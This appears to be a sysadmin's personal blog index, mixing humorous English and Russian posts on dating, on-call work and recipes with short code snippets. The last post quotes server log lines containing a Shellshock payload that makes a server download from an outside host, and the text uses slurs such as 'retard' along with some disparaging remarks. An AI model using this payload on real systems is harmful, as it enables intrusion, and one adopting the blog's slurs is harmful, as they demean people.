Succubus

2 August 2019: I don’t know what happenned with you, but you always came back to my mind. I always thought I was derping around but sadly I wasn’t. You left a scar on me like a Succubus would do… I’ve been through hell and meet Samael. Honestly, even if I die, I’ll never forget … Continue reading Succubus

Gas mask

Punk concert: – What u r protesting against? – Not ur first Bad Religion show! You’re a true fan because the song… oh… allergies? Fuck that! – Take it off, you can’t breathe with that! – I’m a dog groomer / firefighter! I know what that is! – Cool! – Take it off, you’re not … Continue reading Gas mask

Ыыыы

Нет ничего невозможного, если ты охерел до нужной степени. Такое настроение сегодня хорошее, что не в сказке сказать, ни матом сформулировать. Как говорила моя бабушка, если напакостила, а чувство вины так и не пришло – значит, всё правильно сделала. После 30 у женщин слабеют мышцы ушей и лапша перестает дердаться.

Lead like a queen. (this title needs more arroganse)

Entered elevator. Lights went off. Elevator stopped. Had to be rescued like a princess. Firefighters were cute. Must do this more often (still single) I’ve pressed buttons. He pressed buttons. I’ve sat my ass on the floor (thought it would take hours). He sat his buttox on the floor. I’ve called the operator. He finally … Continue reading Lead like a queen. (this title needs more arroganse)

Spring

Spring has come. 3 of my ex’es called. An one night stand fuck messaged me to “build a relationship”. A 37 years old grandpa tried to convince me I need to meet him (at 11pm).

Automation is a derp

I’ve spent a couple of hours trying to query some info from about 500 servers. It was an one time task. Then it came to me… a bash one liner, showing the current status of my mental retardation.

Genious Awards

Sometimes I wonder how people manage to be excellent in multiple domains. How it’s possible, the same person exceeds all the known limits on mental retardation and annoyance at the same time. He deserves a prize.

Choices

Life often presents us with difficult decisions to make, such as “do I keep on with the diet and exercise or just eat the damn waffles and become the symbol of 2019?”

Fitness.

I wanted to get up at 6 and to to the gym before work. I got up at 4 and went to the fridge and back to sleep. I consider myself fit, because I still fit into sweat panths.

Tip of the day

On a first date, the following is a bad idea: – Asking the person’s adress. If she tells you “close to here”, it’s because it’s not normal to share the exact street, number and postal code. – Not talking and looking away. This just makes you look weird. – Bars that serve you Boreale instead … Continue reading Tip of the day

Insisting

I’ve recovered a mail account to which I didn’t log in in decades. Guess what I found… a job offer… that matches my profile… It seems HR are pretty despered and ingenious those days.

Decommissioned

I’m the generation that automates legacy. This is when I see old sysadmins being decommissioned. In today’s cloud (agnostic) world, the second you stop, you’re done. We’re the infrastructure, because we’re the code. This is just real life autoscaling. We’re all just another image on the internets.

Magic

I’ve found the true unicorn. His code works mainly because of magic. If there was no magic, shit would have burned a long time a go.

Security is a derp

They grow up so fast… My mom got her first smartphone. She can now share pictures of her flowers with her friends… …after I’ve blocked an entire arabic family from Lybia who was spamming the number through whatsup in arabic… Chat logs were available for longer than what the phone was in our possession. Also … Continue reading Security is a derp

Why?

This week, I’ve asked that question more times than the last year, but I’m slowly approaching the stage of acceptance. It’s ok.

<3

Dear Internet, I’m in love. Today is the first day in my life where a linux laptop with encryption and anti-virus was provided to me as the “default”, just like other people get Windows and Mac, I got Linux, a secured one. There’s a first time for everything. Things you don’t believe in, may suddently … Continue reading <3

Pretty

Пришла на собеседование красивая. Там решили, что я умная и дали бабла. Обьявила маме зарплату. Она разволновалась. Спросила нужно ли теперь ездить на работу и есть ли место с аналогичными условиями, где на работу ездить не надо. Действительно…

Читерский мегапожирительный муравейник

Песочное печенье 200гр масла банка вареной сгущенки грецкие орехи ванилин (на кончик чайной ложки) Шоколад, клубника и прочие “декорации” Оставить масло вне хламадильника, что бы было мягким. Перемешать масло со сгущенкой. Поломать печенье на кусочки 1-2см и преремешать с орехами и ванилином. Перемешать печеньки с маслянной сгущенкой в форме для торта и запихать в морозильник … Continue reading Читерский мегапожирительный муравейник

Гренки с сыром

Нарезать багет колечками и обжарить на сковородке. Натереть честноком. Намазать маянезиком (тоненько). Посыпать сыром, лучше моцареллой

Крокодилковый суп (20мин)

Накрутить шариков из фарша и бросить в кипящую воду. Собрать пену. После кипения закинуть картошку, морковку, рис и рандом по вкусу. Притрусить сухим укропчиком.

Тыквенные котлеты

Фарш (маленькая пачка) Тыква (грушеобразная, маленькая) Лук 4шт Морковка яйца 4шт 1-2 ложки крахмала Соль + Перец + Честнок Добавить молотых сухарей до котлетной консистенции Жарить. Что бы получились украинские котлеты, соблюдать пропорцию 1/4.

Лечужный

латук и прочий шпинат (без фанатизма, kale, чикория и прочей жесткой/душистой травы) помидоры огурци тунец (банка на рыло) морковка (не обязательно) вареное яйцо (количество по вкусу) майонез

Капустный

Тонко накрошенная капуста Тертая морковка 1шт (для красоты) Столовая ложка сахара без горки на тазик (не перестастить!) Лмонный сок Перемешать и “пожмякать” руками, что бы капуста пустила сок.

Пирожки для жарки

мука 1/2 банки сметаны маргарин соль яйцо Закатать не тугое тесто и дать постоять 30минут. Начинка №1: Обжаненный на сковородке фарш Рис Яйца Начинка №2: Капуста морковка соль лук (1/2 луковицы на среднюю кастрюлю) Тушить на маленьком огне до мягкости

Дрожжевое тесто для пирожков

– 2 столовые ложки сухих дрожжей или кубик 3х3 сырых – 1ст ложка сахара – яйцо – мука – вода/молоко Залить дрожжи теплым молоком, добавить ложку сахара и настоять 20-30 минут до появления пены. Добавить яйцо, муку (тесто должно быть мягким), воду/молоко. Настаивать тесто 2-3 часа, запихивая обратно в посудину когда вылазит. Не стучать пока … Continue reading Дрожжевое тесто для пирожков

Сильная независимая женщина/ Strong Independant Woman

Зашла на тиндер, получила предложение о работе… по специальности, а не то, о чем вы подумали. ———————————————————————————————————— I went on tinder. Got a job offer. Not the one you think, but actually to work as a sysadmin. It’s time to get another cat.

Poverty

Живу я очень бедно, ем заплесневелый сыр, пью просроченное вино, езжу на машине без крыши… С просторов ентих ваших инретнетов, но на самом деле всё так и есть…

За 30.

Наверное это старость. Хочу беспроводный супер-пупер пылесос за 300 баксов, мега-швабру, новый хламадильник и понтовый очиститель воздуха…

Лялечка, 31 годик.

У всех людей зоопарк тараканов в голове, но к своему тридцатничку, я всё же еще не поняла кто мои… 300 спартанцев или подразделение ВДВ.

The end is near!

I really wonder, if it’s a good or a bad thing that cellphones adapt your auto completion suggestions depending on the type of app you’re using. On one hand, I’m pretty happy there’s no BDSM terminology when I’m composing emails, on the other, it seems that the rise of the machines isn’t that far away … Continue reading The end is near!

I quit

My ex-boss is like Microsoft, he fucks people in the ass with a big fisting dildo and no lub, while smiling and telling it’s for their own good. Sorry dude, but I’m Gentoo based.

oh technology!

Your attempts to keep your privacy are futile. Surrender, puny bag of meat! I’ve never linked my instagram to my facebook, yet, can login in insta with facebook  with no issues whatsoever.

awk

# Don’t print first field awk ‘{ $1=””; print}’ # Don’t print first N fields… cuz me so smarties can’t figure out this shit each single time… awk ‘{ $1=$2=””; print}’

Butthurt

Returned from a 3 month sick leave for anxiety & depression. Worked for 2 months. Told boss anxiety is getting to the point where I can’t manage it any more, mainly because of lack of windows, natural light and current construction noise. Got told I should compensate my co-workers for not doing oncall (prohibited by … Continue reading Butthurt

Dating sites

I think I can diagnose by the picture… This dude’s selfie seemed weird, but rest of pics were fine, so I’ve added him on facebook. Well, I should trust my senses, his wall is filled with: – “poetic” stuff of how much he wants to love and be loved – as well as complaining no … Continue reading Dating sites

Photoshop

Everyone knows that girls enhance their pictures. Sometimes it’s just a good angle and filters, others there’s more heavy artillery like photoshop and other photo editing software. Guys aren’t like that. Guys don’t even bother. They simply upload a ripped naked torso, without the head obviously… without bothering that the dude on the picture is … Continue reading Photoshop

Fatass

I’ve been checking mah fitbit at the same time every day for a while. There’s about 200 additional calories burned by 2pm if I’m coding something. I wonder if this is why I constantly craving sugar while at the office.

Dumb

Sometimes you feel like a dumb fucktard. Then your boss tells you’re the first one to pass X certification, that other people didn’t pass yet (and you know they’ve tried), but you’re like, well… it must be easier for me, because bla bla, derpy derp and trololo. Accepting own stupidity for some reason is way … Continue reading Dumb

Foodsies

Getting pad thai from uber eats (preparation and delivery) is way faster than just waiting in line in Thai Express and then waiting for the order to be made. So technically, I ate 1.5k calories and have a great justification for not moving to burn at least some of those off… cuz it’s not taking … Continue reading Foodsies

Ansible for derps

Since my level of retardation varies depending on the day, I need to put this somewhere. Loop_vars causes a segmentation fault in my brain, so hopefully, this example won’t cause me to loose a shit ton time again. vars.yml vhosts: – name: clusterfuck production: “clusterfuck.community” staging: “clusterfuck.community” sandbox1: “clusterfuck.community” – name: dirtyinode production: “dirtyinode.me” staging: … Continue reading Ansible for derps

Saturday facepalms

My banc must have realised, their identity verification on the phone sucks so much, that they’ve quit doing it. Now you simply need the card number to retrieve information to set up direct deposit and do other stuff. In wrong hands, your card could be a big pain in the ass.   Don’t lose your … Continue reading Saturday facepalms

Monday

Juniper is a berrie, Elk is an animal, Vault is a type of ceiling. “Vault Architecture” search does not give me what I’ve meant at all. Live is hard.   Later on, the universe decided keep reminding me, it’s all mater of perspective.  

When the grass was greaner.

I was the only one to be nerd in miles.  Now every second profile on a dating app says “I’m so nerd”, every other one says “I’m a huge geek”. Sad.   Being a weirdo is still not cool tho,  

Old people…

My facebook is adulting. I’ve asked “yes or no” to a fucking expensive videocard and everyone sayed “no”. Poor eldery people. Adulting must suck.

Fonts

I’ve never thought that installing fancy fonts could be ever usefull for something else than eyecandy. Results, you need them to convert QR in shell output to image file. I’m feeling trully blonde today.  So much time wasted due to a stupid missing font… and I wont start with the 300 mails in 1 minute … Continue reading Fonts

Ебанутость или яблочко от яблоньки…

Вот смотрю на енти ихние америко-канадские семьи  и понимаю, что у меня никогда такого не будет. Уж больно они скучные нормальные. Накрашенные девушки со своими парнями. 2 бутылки вина на 8 человек, а “праздничный” ужин, намопинаеющий мою диету… Честно попыталась представить, как бы выглядела моя семья в такой ситуации, но никак не получаеться убрать ебанутость. … Continue reading Ебанутость или яблочко от яблоньки…

А какой ты покемон?

По утрам, девушки деляться на 4 типа: Пусть не накрашусь, но посплю. Пусть не накрашусь, но пожру. Пусть не посплю и не пожру, но накрашусь. Везде блядь опоздаю, но посплю, пожру и накрашусь!  

Evolution

Sometimes people ask you why you don’t want to give them your cell or meet them. It’s very sad, but sometimes you have to explain them that it will not work out, since we’re at different stages of… evolution…

Tall, blonde, blue eyes, smart, manipulative piece of shit

So I’ve met this guy, luckily, not in real life. He was quite “good material”. Tall, blone, blue eyes, engineer of some kind. He was also syrian, however, I’ve decided to not be close minded. He was pretty smart, had great sense of humour and was interesting to talk to. Almost prince charming. However, that … Continue reading Tall, blonde, blue eyes, smart, manipulative piece of shit

Dude

Someone you’ve always  considered stronger and smarter, lays in coma in a hospital. We’re all bags of meat.

Feminism is cancer

When I’ve chosen the path of the SysAdmin, you had to have skills and brains to be one.  Today, you just need a vagina because “females in IT” and “the gender gap”. This is not equality. This shit is completely dismissing all effort, time and dedication I’ve put in my vocation, as well as the … Continue reading Feminism is cancer

Security…

Samsung really cares for the security of the data on your phone. If you didn’t unlock it for 24hs using the fingerprint, it asks you to enter the password. Do they assume that each 24hs someone else could have my finger? Logic? Clearly missing.

Щавлевый суп

Вода/бульон Картофан кубичный Морковка тёртая Лук порошковый Рис Щавель (добавлять когда все остальное уже сварилось)

Бульон & суп

Бульон: Мясо + вода, варить до готовности собирая жир Поставить в хламадильник когда остынет, собрать жир после остывания   Суп: Закинуть рандом  и прочую хренотень в бульон (дефолт: картоха + рис/макароны) Положить целую морковку, это для прозрачности. Выключить суп когда сварился картофан Вытащить морковку, корда суп сварен.

Голубцы

Сварить капусту (можно в микроволновке, быстро, результат тот же),  срезать уплотнения Начинка: 1кг фарша 1/2 стакана риса (полувареного!) 1-2 луковици Помидоры рандомное количество Честнок ~4 зубка соль + перец Большая морковка Яйцо Завернуть начинку в капусту. Потушить в томатной пасте (можно с майонезом и бульоном) Соус должен покрывать голубцы.

Пельмени <3

Тесто: 1 кг муки вода ~0.5л соль растительное масло замесить и дать постоять до разбухания Фарш: 2 вида фарша (говядина+свинина, индюшка+свинина, рандом+рандом) лук, живой, измельченный… ну или мелко крошенный соль перец яйцо Дальшейшеё пояснять не надо. Всё знают как компилировать пельмени.

Мясо на палочке

фарш лук честнок мёд (1 столовая ложка х пакет фарша) Налепить фарш на палочки Взбить яйцо Обвалять это в кляре Обвалять в смеси сухарей и паприки Не помню как жарить…

Говядина с полдивой как в детском садике

Срезать мясо с кости и жарить в кастрюле, на большом огне, что бы образовалась корка, но мясо оставалось сырым и с кровью внутри Можно жарить на сковородке, но радиус заляпывания кухни увеличивается. Закинуть в фуфлоновую кастрюлю. 4 луковицы, мелко накрошить и обжарить на сковородке до золотистой корочки. Засыпать в фуфлоновую кастрюлю с мясом Можно использовать … Continue reading Говядина с полдивой как в детском садике

Мясо Дракона

Куриная грудка Шампиньоны 1/2 банки сметаны 2 яйца Крахмал Соль/Перец/Честнок Укроп Замесить “тесто” как на оладьи. Жарить в масле. Жрать сразу.  

Sometimes

Sometimes you’re oncall. Sometimes u have to wake up people. Sometimes u feel really sorry for them, cuz they sound realy tired. Sometimes, they wish you “Good Night”. Funny fact. The other  oncall dude will txt u saying it’s resolved, cuz if u awake, u text back, but if you sleep, he does not wake … Continue reading Sometimes

Present

When you’re 16, you cry because you have to leave your friends. When you’re 30, you look back and really feel thankful to not have the same kind of life and to not see any more of those people.   “People change” and “people don’t change” at the same time. I’m the same as when … Continue reading Present

Less is not more

Less is not more… I watch my old “friends” and aquitances get covered in stupid and sit on their asses burning their lives in vain. Because the name of one of your dogs is important enough to get it forever across your chest, as a poor quality tatoo. I don’t know if it’s out of … Continue reading Less is not more

Another Narcissist

This guy messaged me. He didn’t seem stupid, rather all the opposite. He also knew what he was looking for, a whife and a mother for his future kids. He’s a team leader of this very intelligent computer programmer people and everybody listens to him. He also just got a brand new house and new … Continue reading Another Narcissist

A Vegan Nazi Buddist

Why… Why that hot dude that meets “the checklist” requirements resulted to be a piece of shit? WHYYYYYY?!  Aperances are deceiving. I guess that’s what life tried to teach me with those ridiculous dates. I’m used to American dudes expecting to split the bill, I can survive it, but it’s the first time ever, when … Continue reading A Vegan Nazi Buddist

Диеточка

Фитоняшеньки ужинают кефирчиком с помидоркой, что бы быть стройными. Мне вот только непонятно, сколько кефирчика надо… Литр хватит?

Proud

I’m so proud of my regex! … and of the fact that it works… xD “^\/tmp\/[a-zA-Z0-9-]{0,8}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,4}\-[a-zA-Z0-9-]{0,16}$”

Narcissistbook

Y u “like” all my posts so aggressively? I thought u sayed “Good night”… and why from all the pictures of different “pretty” and “dressed” levels, you only liked the one with my sports car…

Knowledge is power

Sometimes, I think I’m too exigent. Sometimes, I think I’m looking for a prince charming that does not exist (I want a tauren on a black war kodo) Sometimes, I think I’m too critical of people. Sometimes, I don’t trust my intuition when it’s screaming at me, because I think I’m crazy.     However, … Continue reading Knowledge is power

Go down

Today a man was repeatedly telling me to “go down”. Of course he’s a developer and he’s a frenchie. He simply wanted me to scroll down on the code.   But I didn’t tell him how that phrase sounded to me.  

Stalker

I seriously don’t know why american boys are so exited about dating girls in IT. I’ve just finished automating the stalking process of a guy I really like. Now I can simply consult the logs which are written on a 5 minute basis.   … and it’s only the second date…     EDIT: After … Continue reading Stalker

Someone, who would actually enjoy to fuck himself

Punctuation and spelling has been preserved:   Allow me to introduce myself. I’m playfully dichotomous. I’m a loving narcassist. I’m available, yet dans la lune. I’m imperfect, like a chipped tooth. But I could be the imperfection that helps put a definitive stamp on our time together, before the sands of time blend into another … Continue reading Someone, who would actually enjoy to fuck himself

Nerdgasm

That feeling, when your keyboard is one of the cheapest mechanical ones, but it still does all the custom gaming lighting.  … and no proprietary software is required…  

Logic?

Why cheapy stuff like $2 kitty earings ships fast & for free, while u r charged fees and have to wait a week for mechanical keyboard shipping? T_T

Lost forever

Today at WalMart I saw a kid…errr… a teenager/young adult being so happy about his new phone. “It’s big! But big is better, right?! So it’s definitely worth it!” He also said he’s a youtuber (who isn’t those days?) and passed a paper with his channel to the girl working there. (She really had lots … Continue reading Lost forever

Another stalker

Oh, social media! Apparently when someone is visiting your profile over and over again on linked in, LinkedIn sends you a notification saying “Congratulations! You’re the most viewed person in $FuckingJerk’s_Name network.” I don’t care about this persons life and I’m in no contact with him, but apperently he cares about mine and tries to … Continue reading Another stalker

All of them…

The person who I think he is, does not really exist. It’s all in my head…   He’s not a tortured sould that need my special kind of love. It does not to change his behaviour or motives… nor actions.   He’s morally bankrupt and never appreciated any of the things people (or me) did … Continue reading All of them…

What if?

My best friend became a feminazi. The dude I was in love with, still didn’t finish school and still works at the same place. He still plays his guitar and drinks his beer. He didn’t advanced in any aspect of his life. I’m scared to think what would I become if wasn’t forced to change the … Continue reading What if?

Never change

On my fist years of being sysadmin, I’ve facepalmed when finding stuff I’ve done previously. Six years later, after getting into the all fancy devops movement thing, nothing changed.     

Shedding tears of joy

While witnessing mother (50 years old) providing qualified tech support to grandma (80 years old), so confident and professionally sounding. I think she can now have a lvl1 support job… if only she spoke english…

Introverts

  My facebook feed is filled with “information” about how to understand and act with “introverts”. I didn’t knew “introvert” meant “a special snowflake egocentric attention whore”. Judging by facebook and the amount of reposts/likes, that’s exactly what it means to be an introvert.

Priceless

The look on the face of a network dude, when you point to the big button “create” on his screen, answering his question on how to create a page. Happens to me all the time, first time I’m on the other side. 

Ouch!

Pain level of someone who puts a big chunk the internet down. At 9:37AM PST, an authorized S3 team member using an established playbook executed a command which was intended to remove a small number of servers for one of the S3 subsystems that is used by the S3 billing process. Unfortunately, one of the … Continue reading Ouch!

X

Getting phone calls from drunk ex-girlfriends is better than getting calls from her drunk ex-militar father.

WTF Google?

Who’s the retard that decided to move the “View certificate” feature to “Developer Tools”? Why you make me re-teach my parents how to verify the SSL. It’s not so easy for them. Who’s the asshole that makes it more difficult for older people to avoid scam sites?  I want to look them in the eyes.  

Microsoft… derp

So while visiting an Azure training (where I didn’t learn anything new, because everything is just like in Amazon and they didn’t even show the API), I’ve created a new account, because it was required to access the Microsoft’s Azure account temporarily. I was signed in on skype with mother’s account, because had to change something for her … Continue reading Microsoft… derp

Microsoft training

  I love going to Microsoft events. They make me feel like a good and smart sysadmin (because devops is a philosophy and not a profession). People presenting isn’t challenged. They understand linux ways, cloud, devops and all the fancy things… teaching them like they were their own invention and like they’re the cheapest with the best quality. (Come on … Continue reading Microsoft training

Females in videogames

Didn’t you hear that females in video games are over sexualized and that their armor is showing too much? Funny fact: There’s 17 people in my guild(including me) who are currently online in discord 1/14 males have a real picture 2/2 females have their real “cute” pictures 1/2 females are trying to show cleavage.   I’m hesitating … Continue reading Females in videogames

Xmass Gifts

There’s one that I’ll definitely not be giving to anyone ever. Google play gift card. Annoying as fuck & appearing in each youtube video you play, sticking their theme song deep in your head, to the point of giving you a nervous tic.

Computer people…

Sysadmin froze for 2 minutes trying to figure out what the picture on the left means. Sysadmin figured out & LOL. Sysadmin send picture to programmer. Programmer: I don’t get it. What does the picture on the left mean? Sysadmin: echo  $normal_human_interaction Programmer: GetNormalHumanInteractions(); <- undefined Programmer:  compiler abort        

That time of the month…

I had issues waking up and was not motivated to get out of bed. Felt nausea and was irritable as fuck. I felt sick… At 10 my cell sang “the server is on fire”. This explained everything. It’s that time of the month. I’m oncall.  

Google cares about end user comfort

Recently I’ve noticed that the pictures I take with my cell are available to attach when I send e-mails. I only noticed because of the NUDE SELFIES that google so kindly offers me to send…   Thanx Google! I don’t know how I lived without this feature! Writing personal mails at work was so boring without flashing my … Continue reading Google cares about end user comfort

It’s OK to be a retard

…because we all are… and the humanity is doomed anyways… My programmer told that his team was searching for a bug for 2 days… and it also was only one line…   We are all retards. I need a drink.

DevOps Nightmares

I was fired because my commit messages are “inappropriate” and “not professional”. I’ve spent the whole night texting the team lead begging to not fire me, because this is my most favorite job ever. I was trying to explain him, those commits were made when I was 14, before even I started working, and when I … Continue reading DevOps Nightmares

ClusterFuck!

Things I broke today: – monitor (BIG scratch) – laptop monitor (small scratch) – HDMI cable – Nail Remember boys and girls, cable management is as important as password strength. Now, if excuse me, I have to go get me one of those:  

I <3 Gentoo

First time booting from the liveCD, always booted from the mininal-install. It’s actually… pretty!   And penguins can fly, cuz they’re Gentoo 😀   

What’s the point?

Social Engineering are big words that mean nothing in today’s retarded world. What’s the point of calling to activate a credit card if all the info they ask for is on the credit card and all questions that a bank asks you on the phone can rightly be answered by “yes”.

I like to watch

Nov, 2016-11-05 12:21:18 admin 76.69.215.24 Option Nov, 2016-11-05 11:47:57 admin 91.133.94.199 Access Nov, 2016-11-05 11:45:35 admin 76.69.215.24 Access Nov, 2016-11-05 11:45:11 admin 91.133.94.199 Access Nov, 2016-11-05 11:44:57 admin 76.69.215.24 Access Nov, 2016-11-03 18:20:32 root 192.168.2.110 PowerOn Aug, 2016-08-01 15:04:20 admin 93.192.1.114 Option May, 2016-05-21 00:10:47 admin 192.168.2.111 Access May, 2016-05-20 02:43:57 admin 192.168.2.147 Access May, … Continue reading I like to watch

Dudes…

Some  dude posting on facebook, so romantic, so naive… If I date you, I don’t want your passwords, or your phone. I can get all the info I want about you and you will never know, because I’m a sysadmin. I’ll know where and with who you are, all of your interests, what you want to … Continue reading Dudes…

LOL Dude

Hoster contacting ops team telling they can give us a server and a /22. …ops team that has their own cloud providing services to oher customers… Hoster that didn’t bother to even block his wp-admin I feel so bad for them, I want to write a reply “will re-do your website for cheap and install … Continue reading LOL Dude

Online generation

After I’ve exited a metal conert, I saw a message on my cell: “Are you at the same concert than I ?”   Like I’m checking my cellphone in the middle of the moshpit… where big buff dudes run in circles and push each other, when the music plays so loud, that you feel all your internal organs … Continue reading Online generation

I <3 my job

The best words of appreciation I got from a boss so far: “you should teach others to follow you’re example and if they don’t, you have my permission to beat them with a stick”

Sysadmin Power!

SYSADMINS! Warriors of the console! We have to unite! Torvalds, the father of Linux is being kept hostage by Microsoft! We have to do something before it’s too late! The father of the kernel is in danger. Look what they did to the penguin already!!!   Yes, That's Linus Torvalds chatting with us at the … Continue reading Sysadmin Power!

Getting older.

I understand code, better than comments: # if we have a match, then set lowest to index if lowest is not set or if index is lower than lowest if index != -1 and (not lowest or index < lowest):              lowest = index

Bug day

Creating a monitor in DataDog creates 2 of them with an identical name. You can’t exceed the limit of alerts that pingdom allows you, but you can enable a paused alert exceeding the limit. It will work perfectly for what you want if you reconfigure it. Amazon console keeps giving me error 0 messages in … Continue reading Bug day

I’m an evil hacker! MWA HAHAHA!

Apperently, scanning ports on elasticache node that belongs to your account from a VM that belongs to your account is considered as abuse by AWS. […] We’ve received a report(s) that your EC2 instance(s) Instance Id: i-xxxxxxxx IP Address: x.x.x.x has been implicated in activity which resembles scanning remote hosts on the internet for security vulnerabilities. Activity of this nature … Continue reading I’m an evil hacker! MWA HAHAHA!

Anonymous is out of fashion

Next step: suggest to make a page where I put my address, phone number,job location, driver licence,  credit card number and PIN as well as all the other personal info, so my relatives, multimillionaires princes/kings from Africa can find me and give me all their fortune? 

DataDog is like legos, there’s stuff you don’t see, but when you step on it, it’s so painfull.

Why… just why you have a different syntax for trigger and re-trigger alerts? [Re-Triggered on {device:/dev/xvda1,host:testing.blabla.internal}] [testing] Disk space low testing.blabla.internal 192.168.15.43 [Triggered on device:/dev/xvda1,host:testing.blabla.internal] [testing] Disk space low testing.blabla.internal192.168.15.43 Of course, humans never make inattention errors, that can pass QA and leak in prod. Fuck my life… with Regex!

That feeling

…when you finish GTA V & stay there for the credits, because it’s just like finishing a great book, makes you sad… replaced with RAGE because housekeeping is more important than IT people, so appears in credits first? Really? REALLY?! FUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!!!1111111111 Ok…  I admit there must be something like alphabetical order… but the DAFUG?.jpeg feeling … Continue reading That feeling

It’s way easier that it sounds…

A tuple is a sequence of immutable Python objects. Tuples are sequences, just like lists. The differences between tuples and lists are, the tuples cannot be changed unlike lists and tuples use parentheses, whereas lists use square brackets. Creating a tuple is as simple as putting different comma-separated values. Nail polish, they’re all alike, the … Continue reading It’s way easier that it sounds…

Girls coding…

The things I really need: Sleep A rubber duckie Because spending a couple of hours debugging why a simple comparison of 2 variables (strings) does not work when it should is frustrating, specially, after realizing, those were 2 different strings! It’s normal it did not enter the loop, the script was working properly the whole time, … Continue reading Girls coding…

Microsoft is good

I must admit Microsoft has some good things. Firt is AD, because managing printers, users, etc on Linux is possible, but not the best, specially in large corporations where there are hundreds of hamsters  users. However, AD is not a product that I must touch daily and be happy about. It’s their keyboards. I got it … Continue reading Microsoft is good

Spring: The time of the year when allergies kick in.

All the sysadmins are guilty of “curl -sSL https://install.stackstorm.com/ | sudo sh -s — -r v1.3.2″ There are no exceptions, all of  us were young & dumb. An ubuntu noob, showing off hiz cool compiz cube saying he’s super hacker, will go follow the first tutorial found google to try to fix a problem. That … Continue reading Spring: The time of the year when allergies kick in.

Losing faith on new generation

Seriously, how many times you need to copy paste a “hacking” command in the terminal  before understanding the shit you do does not work? I’m seriously considering donating to a dyslexia charity. It seems to be a big problem among youngest generations… 

Random observations of another internet troll on a Microsoft DevOps hackaton

The dude speaking was wearing a T-shirt. Where’s the suite? Emphasize they love Open Source and are friends with Red Hat “which is a Linux!” Using all those free tools like git & jenkins, but of course offering Microsoft’s “free” alternative. Free up to X users. Once you grow, you’ll have to give your money to … Continue reading Random observations of another internet troll on a Microsoft DevOps hackaton

I haz a sad…

I got a reader! Someone has read my blog! He even shared my kitty picture on faceboook!! And it was not a bot because how he click on stuff and try different things… like remote exec… with typos and stuff… I gue$$ hackerz can be dislexyc t00…

Data Dog

How it’s presented: How I feel using their API: But seriously, why giving the option to send custom payloads in the web hooks if all the info I can send is relative to the event, which does not include {{host.ip}}, {{host.name}} and many other parameters that you desperately need (like tags, host tags, not monitor … Continue reading Data Dog

Awwwwww!!! First attack attempt on my server! So cute! ^_^

93.190.69.10 – – [27/Apr/2016:09:23:07 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY -o /dev/null;/usr/sfwbin/wget http://closettransfer.com/FLUFFYPUPPY;fetch -/dev/null http://closettransfer.com/FLUFFYPUPPY'” 64.74.197.103 – – [27/Apr/2016:10:25:26 -0400] “GET / HTTP/1.1” 200 714 “-” “() { :; }; /bin/sh -c ‘wget http://closettransfer.com/FLUFFYPUPPY -O /dev/null;wget1 http://closettransfer.com/FLUFFYPUPPY -O /dev/null;curl http://closettransfer.com/FLUFFYPUPPY … Continue reading Awwwwww!!! First attack attempt on my server! So cute! ^_^